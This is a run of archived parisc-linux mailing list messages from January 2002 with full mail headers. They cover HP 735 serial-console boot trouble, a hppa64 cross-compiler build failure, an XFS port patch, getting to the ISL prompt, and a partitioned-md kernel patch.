List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13793

Hello,
I am trying to install parisc-linux on a HP 735. The problem is that I
can not specify the boot device. I hit ESC during the boot-process and
I get the menu where I can choose between:

---
a) Boot from specified device
s) Search fpr bootable devices
a) Enter boot administration mpde
x) Exit and continue boot sequence
?) Help

Select from menu:
---

But then nothing happens no matter what key I press. The cursor just
jumps to the "S" of "Select". Even "? <RETURN>" gives no output at
all.
I thought that it might have something to do with my serial console
but I tried using another PC with minicom and got the same result.
If I just let the machine boot to HP-UX then everything works fine, I
can execute commands and stuff.
Does someone know whats going on here or how to avoid this problem?
Regards,
Phil



From - Thu Nov 08 21:21:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] XGCC MacOSX/hppa64-linux build error
Date: Sat, 19 Jan 2002 20:45:01 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <07163A15-0D15-11D6-9B4D-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v480)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620985 1331 80.91.229.3 (22 Nov 2014 01:49:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:45 +0000 (UTC)
To: PA/Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 19 12:45:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id CC772482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 Jan 2002 12:45:02 -0700 (MST)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.80.150])
	by mail.esiee.fr (Postfix) with ESMTP id A874749BF1
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 Jan 2002 20:45:02 +0100 (CET)
X-Mailer: Apple Mail (2.480)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13794

Hi.

I tried to compile an xc on MacOSX 10.1.2 (powerpc-apple-darwin5.2) 
targeting hppa64-linux, following taggart instructions (thanks for you 
patience there :), but the build breaks always at the same point, when 
testing libgcc1.

All the 32bit stuff (binutils, libc, gcc) compiled perfectly fine and is 
operational, and the 64bit binutils compiled fine also (but are they 
working correctly ?)

So here is the error I got:

Testing libgcc1.  Ignore linker warning messages.
/Users/varenet/palinux-builds/xc-build/gcc/gcc/xgcc 
-B/Users/varenet/palinux-builds/xc-build/gcc/gcc/ 
-B/usr/local/palinux/hppa64-linux/bin/ 
-B/usr/local/palinux/hppa64-linux/lib/ -isystem 
/usr/local/palinux/hppa64-linux/include -DCROSS_COMPILE -DIN_GCC    -W 
-Wall -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -isystem 
./include  libgcc1-test.o -o libgcc1-test \
   -nostartfiles -nostdlib `/Users/varenet/palinux-builds/xc-
build/gcc/gcc/xgcc -B/Users/varenet/palinux-builds/xc-build/gcc/gcc/ 
-B/usr/local/palinux/hppa64-linux/bin/ 
-B/usr/local/palinux/hppa64-linux/lib/ -isystem 
/usr/local/palinux/hppa64-linux/include --print-libgcc-file-name`
collect2: ld terminated with signal 10 [Bus error], core dumped
/usr/local/palinux/hppa64-linux/bin/ld: warning: cannot find entry 
symbol main; defaulting to 0000000000010280
make[1]: *** [libgcc1-test] Erreur 1
make: *** [all-gcc] Erreur 2

Any idea ?

Thibaut VARENE
PA/Linux ESIEE Team
http://www.esiee.fr/puffin




From - Thu Nov 08 21:21:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot console problems
Date: Sat, 19 Jan 2002 12:02:55 -0800
Lines: 47
Approved: news@gmane.org
Message-ID: <20020119120255.12b0cd25.csuder@cisco.com>
References: <20020119193343.A876@nepomuk.max.uni-duisburg.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620985 1335 80.91.229.3 (22 Nov 2014 01:49:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Philipp Schulte" <pschulte@uni-duisburg.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 19 13:03:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6780D482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 Jan 2002 13:03:00 -0700 (MST)
Original-Received: from mira-sjc5-9.cisco.com (mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id g0JK2wj17139;
	Sat, 19 Jan 2002 12:02:58 -0800 (PST)
Original-Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with SMTP id ABV61299;
	Sat, 19 Jan 2002 12:03:06 -0800 (PST)
In-Reply-To: <20020119193343.A876@nepomuk.max.uni-duisburg.de>
X-Mailer: Sylpheed version 0.6.6claws36 (GTK+ 1.2.10; hppa-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13795


Philip,

I'm using the serial console on a 735/125 without any problems. Two possibilities:

Your cable - does it have anything special/wrong on the control signals ? Obviously the basic RX/TX and ground work, how about the other signals (DSR/DTR, RTS/CTS) ?

The console configuration and your terminal program aren't using the same parameters (I assume you are using 9600,n,8,1). Eventually the console has been set to something similar but different. The console and the OS can use different settings, which is why it works from the OS but not at the boot prompt.

	Christian 


On Sat, 19 Jan 2002 19:33:43 +0100
"Philipp Schulte" <pschulte@uni-duisburg.de> wrote:

> Hello,
> I am trying to install parisc-linux on a HP 735. The problem is that I
> can not specify the boot device. I hit ESC during the boot-process and
> I get the menu where I can choose between:
> 
> ---
> a) Boot from specified device
> s) Search fpr bootable devices
> a) Enter boot administration mpde
> x) Exit and continue boot sequence
> ?) Help
> 
> Select from menu:
> ---
> 
> But then nothing happens no matter what key I press. The cursor just
> jumps to the "S" of "Select". Even "? <RETURN>" gives no output at
> all.
> I thought that it might have something to do with my serial console
> but I tried using another PC with minicom and got the same result.
> If I just let the machine boot to HP-UX then everything works fine, I
> can execute commands and stuff.
> Does someone know whats going on here or how to avoid this problem?
> Regards,
> Phil
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:21:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot console problems
Date: Sun, 20 Jan 2002 00:38:54 +0100
Organization: private
Lines: 82
Approved: news@gmane.org
Message-ID: <3C4A038E.12C47FEB@gmx.at>
References: <20020119193343.A876@nepomuk.max.uni-duisburg.de> <20020119120255.12b0cd25.csuder@cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620985 1337 80.91.229.3 (22 Nov 2014 01:49:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christian Suder <csuder@cisco.com>,
	Philipp Schulte <pschulte@uni-duisburg.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 19 16:39:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep16-int.chello.at (viefep16-int.chello.at [213.46.255.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id D3DFD482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 Jan 2002 16:39:07 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep16-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020119233859.BHMO8689.viefep16-int.chello.at@gmx.at>;
          Sun, 20 Jan 2002 00:38:59 +0100
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13796

Hello !

In my oppinion, this has nothing to do with the control lines.
The behavior would be different.

The problem you have, Philipp is the line-feed, carriage return
topic, a always hot topic.
You can simple try to use Ctrl-J (^J) instead of <return>. Or try
to use ^J and then <return> or the other way round. Then the machine 
will perhaps react to your commands !

The problem is simple a setup problem. Tricky is to find a setup
of 
- exchange LF by CR or the other way round
- add LF in some cases
- ignore CR is some cases.

With `stty' on the machine running the front end (minicom) you can
play around, or use `minicom' built in configuration.

With friedly regards
Christoph P.


Christian Suder wrote:
> 
> Philip,
> 
> I'm using the serial console on a 735/125 without any problems. Two possibilities:
> 
> Your cable - does it have anything special/wrong on the control signals ? Obviously the basic RX/TX and ground work, how about the other signals (DSR/DTR, RTS/CTS) ?
> 
> The console configuration and your terminal program aren't using the same parameters (I assume you are using 9600,n,8,1). Eventually the console has been set to something similar but different. The console and the OS can use different settings, which is why it works from the OS but not at the boot prompt.
> 
>         Christian
> 
> On Sat, 19 Jan 2002 19:33:43 +0100
> "Philipp Schulte" <pschulte@uni-duisburg.de> wrote:
> 
> > Hello,
> > I am trying to install parisc-linux on a HP 735. The problem is that I
> > can not specify the boot device. I hit ESC during the boot-process and
> > I get the menu where I can choose between:
> >
> > ---
> > a) Boot from specified device
> > s) Search fpr bootable devices
> > a) Enter boot administration mpde
> > x) Exit and continue boot sequence
> > ?) Help
> >
> > Select from menu:
> > ---
> >
> > But then nothing happens no matter what key I press. The cursor just
> > jumps to the "S" of "Select". Even "? <RETURN>" gives no output at
> > all.
> > I thought that it might have something to do with my serial console
> > but I tried using another PC with minicom and got the same result.
> > If I just let the machine boot to HP-UX then everything works fine, I
> > can execute commands and stuff.
> > Does someone know whats going on here or how to avoid this problem?
> > Regards,
> > Phil
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:21:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] journaling filesystem on parisc?
Date: Sat, 19 Jan 2002 16:51:17 -0800
Lines: 70
Approved: news@gmane.org
Message-ID: <20020120005117.GK21816@tausq.org>
References: <15429.47940.937550.926908@gargle.gargle.HOWL>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620986 1339 80.91.229.3 (22 Nov 2014 01:49:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthias Klose <doko@cs.tu-berlin.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 19 17:51:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 67FE0482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 Jan 2002 17:51:44 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id yauwkaaa for parisc-linux@lists.parisc-linux.org; Sat, 19 Jan 2002 17:51:42 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16S6Cc-0006WK-00; Sat, 19 Jan 2002 16:51:18 -0800
Content-Disposition: inline
In-Reply-To: <15429.47940.937550.926908@gargle.gargle.HOWL>
User-Agent: Mutt/1.3.25i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13797

In reference to a message from Matthias Klose, dated Jan 16:
> Did not see this mentioned on the list or the site. Any experiences on
> hppa? Does XFS work?

well, it does work with some small tweaks.

i've put a patch out at:
ftp://ftp.parisc-linux.org/patches/xfs-1.0.2-hppa-2.4.17-pa11.diff.gz

it seems to work ok here. i've done some kernel compiles and ran
bonnie++ on it.

I'd like to get some comments on some of the magic numbers in the patch,
and then I hope to commit the parisc specific pieces of the patch since
they aren't really xfs specific. (the following three plus exporting
lclear_user)

first, syscall numbers... are these numbers ok?

--- arch/parisc/kernel/syscall.S	2001/12/11 17:14:06	1.74
+++ arch/parisc/kernel/syscall.S	2002/01/20 00:40:33
@@ -593,6 +593,9 @@ sys_call_table:
 	ENTRY_DIFF(ftruncate64)	/* 200 */
 	ENTRY_SAME(getdents64)
 	ENTRY_DIFF(fcntl64)
+	ENTRY_SAME(attrctl)
+	ENTRY_SAME(acl_get)
+	ENTRY_SAME(acl_set)                     /* 205 */
 
 .end
--- include/asm-parisc/unistd.h	2001/10/09 19:43:37	1.23
+++ include/asm-parisc/unistd.h	2002/01/20 00:40:40
@@ -695,8 +695,11 @@
 #define __NR_ftruncate64        (__NR_Linux + 200)
 #define __NR_getdents64         (__NR_Linux + 201)
 #define __NR_fcntl64            (__NR_Linux + 202)
+#define __NR_attrctl            (__NR_Linux + 203)
+#define __NR_acl_get            (__NR_Linux + 204)
+#define __NR_acl_set            (__NR_Linux + 205)
 
-#define __NR_Linux_syscalls     202
+#define __NR_Linux_syscalls     205
 
 #define HPUX_GATEWAY_ADDR       0xC0000004
 #define LINUX_GATEWAY_ADDR      0x100
 
 
and then a new fcntl flag. these are defined differently for i386 and
ia64 (the two officially supported xfs architectures)

--- include/asm-parisc/fcntl.h	2000/11/10 21:44:44	1.2
+++ include/asm-parisc/fcntl.h	2002/01/20 00:40:39
@@ -24,6 +24,7 @@
 #define O_DIRECT	00040000 /* direct disk access hint - currently ignored */
 #define O_DIRECTORY	00010000 /* must be a directory */
 #define O_NOFOLLOW	00000200 /* don't follow links */
+#define O_INVISIBLE     04000000 /* invisible I/O, for DMAPI/XDSM */
 
 #define F_DUPFD		0	/* dup */
 #define F_GETFD		1	/* get f_flags */

have fun! :-)
randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Bj=F6rn_Bylander?= <bjorn.bylander@telia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting to ISL with Linux installed
Date: Sun, 20 Jan 2002 14:10:55 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <DLEJJFGDAJICFFBHFNCDAEAPCEAA.bjorn.bylander@telia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620986 1341 80.91.229.3 (22 Nov 2014 01:49:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:46 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 20 06:11:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailc.telia.com (mailc.telia.com [194.22.190.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 411AD482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 20 Jan 2002 06:11:01 -0700 (MST)
Original-Received: from d1o999.telia.com (d1o999.telia.com [195.67.201.241])
	by mailc.telia.com (8.11.6/8.11.6) with ESMTP id g0KDAuU20527
	for <parisc-linux@lists.parisc-linux.org>; Sun, 20 Jan 2002 14:10:56 +0100 (CET)
Original-Received: from finkel (h186n1fls20o999.telia.com [213.64.112.186])
	by d1o999.telia.com (8.10.2/8.10.1) with SMTP id g0KDAur27947
	for <parisc-linux@lists.parisc-linux.org>; Sun, 20 Jan 2002 14:10:56 +0100 (CET)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13798

Hello,

I recently acquired a HP 712/80 system. I've installed PA-RISC Linux =
0.9.3 on it and it runs fine.
I've got one problem though. I don't know how to get to ISL after I =
installed Linux.
The reason I want to use ISL is that I want to (try) to make the machine =
use a serial console.
Before I installed Linux the machine booted into ISL automatically as =
the HD was wiped (or at least not bootable) but if I try to boot to ISL =
now with 'boot pri isl' (from BOOT_ADMIN) I only get to the =
'configuration mode' of PALO where you can enter the kernel and other =
boot stuff.

All in all, how can I get to the ISL> prompt so that I can use 'conspath =
2/0/4.0x283'?

Thanks in advance,
Bj=F6rn Bylander




From - Thu Nov 08 21:21:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Mottram <peter@petescaff.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] partitioned md to enable root on raid
Date: Sun, 20 Jan 2002 14:48:34 +0100 (CET)
Lines: 65
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.42.0201201438560.9287-100000@r6.petescaff.com>
References: <DLEJJFGDAJICFFBHFNCDAEAPCEAA.bjorn.bylander@telia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620986 1349 80.91.229.3 (22 Nov 2014 01:49:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 20 06:48:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.petescaff.com (petem.xs4all.nl [194.109.247.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id 29593482B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 20 Jan 2002 06:48:39 -0700 (MST)
Original-Received: from r6.petescaff.com ([192.168.0.3])
	by smtp.petescaff.com with esmtp (Exim 3.33 #1)
	id 16SIKp-0002yz-00
	for parisc-linux@lists.parisc-linux.org; Sun, 20 Jan 2002 14:48:35 +0100
X-X-Sender: apm@r6.petescaff.com
In-Reply-To: <DLEJJFGDAJICFFBHFNCDAEAPCEAA.bjorn.bylander@telia.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13799

In order to use md on root devices with parisc there must be kernel
support for partitioned md (due to F0 partition). This is of course not a
requirement for i386 & the patch to enable this (which needs a new major
number) has not been accepted.

Is there any chance of adding this patch into parisc? Maybe due to the
special requirements of parisc then Linus might eventually accept the
requirement for this extra major number?

The current patch uses major 60 which is currently used by PDCONS. I am no
kernel hacker and am uncomfortable simply adding this patch with a
different major number.

Can anyone see any reason to not simply change the major to 61? Does the
patch look OK as it is for addition to parisc? (ignoring line numbers of
course)

PeteM

the patch is from:
http://cgi.cse.unsw.edu.au/~neilb/patches/linux/2.4.14/patch-J-MdpMajor

and is:

--- ./init/main.c       2001/11/06 04:43:07     1.1
+++ ./init/main.c       2001/11/06 04:43:12     1.2
@@ -188,6 +188,24 @@
        { "add",     0x1c30 },
        { "ade",     0x1c40 },
        { "fd",      0x0200 },
+#ifdef MDP_MAJOR
+       { "mda",     (MDP_MAJOR<<8) | 0},
+       { "mdb",     (MDP_MAJOR<<8) | 1},
+       { "mdc",     (MDP_MAJOR<<8) | 2},
+       { "mdd",     (MDP_MAJOR<<8) | 3},
+       { "mde",     (MDP_MAJOR<<8) | 4},
+       { "mdf",     (MDP_MAJOR<<8) | 5},
+       { "mdg",     (MDP_MAJOR<<8) | 6},
+       { "mdh",     (MDP_MAJOR<<8) | 7},
+       { "mdi",     (MDP_MAJOR<<8) | 8},
+       { "mdj",     (MDP_MAJOR<<8) | 9},
+       { "mdk",     (MDP_MAJOR<<8) | 10},
+       { "mdl",     (MDP_MAJOR<<8) | 11},
+       { "mdm",     (MDP_MAJOR<<8) | 12},
+       { "mdn",     (MDP_MAJOR<<8) | 13},
+       { "mdo",     (MDP_MAJOR<<8) | 14},
+       { "mdp",     (MDP_MAJOR<<8) | 15},
+#endif
        { "md",      0x0900 },
        { "xda",     0x0d00 },
        { "xdb",     0x0d40 },
--- ./include/linux/major.h     2001/11/06 04:43:07     1.1
+++ ./include/linux/major.h     2001/11/06 04:43:13     1.2
@@ -87,6 +87,8 @@

 #define LVM_BLK_MAJOR  58      /* Logical Volume Manager */

+#define MDP_MAJOR      60      /* MD with partitions */
+
 #define SCSI_DISK1_MAJOR       65
 #define SCSI_DISK2_MAJOR       66
 #define SCSI_DISK3_MAJOR       67




From - Thu Nov 08 21:21:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@tuxfamily.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RFC: HOWTO
Date: Sun, 20 Jan 2002 16:26:11 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <3C4AE193.2080100@tuxfamily.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620987 1351 80.91.229.3 (22 Nov 2014 01:49:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:47 +0000 (UTC)
To: parisc linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 20 08:24:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from laas.laas.fr (laas.laas.fr [140.93.0.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 853E4482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 20 Jan 2002 08:24:44 -0700 (MST)
Original-Received: from tuxfamily.org (raptor [140.93.21.82])
	by laas.laas.fr (8.12.1/8.12.1) with ESMTP id g0KFOd4M023956
	for <parisc-linux@lists.parisc-linux.org>; Sun, 20 Jan 2002 16:24:40 +0100 (CET)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.6+) Gecko/20011218
X-Accept-Language: fr
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
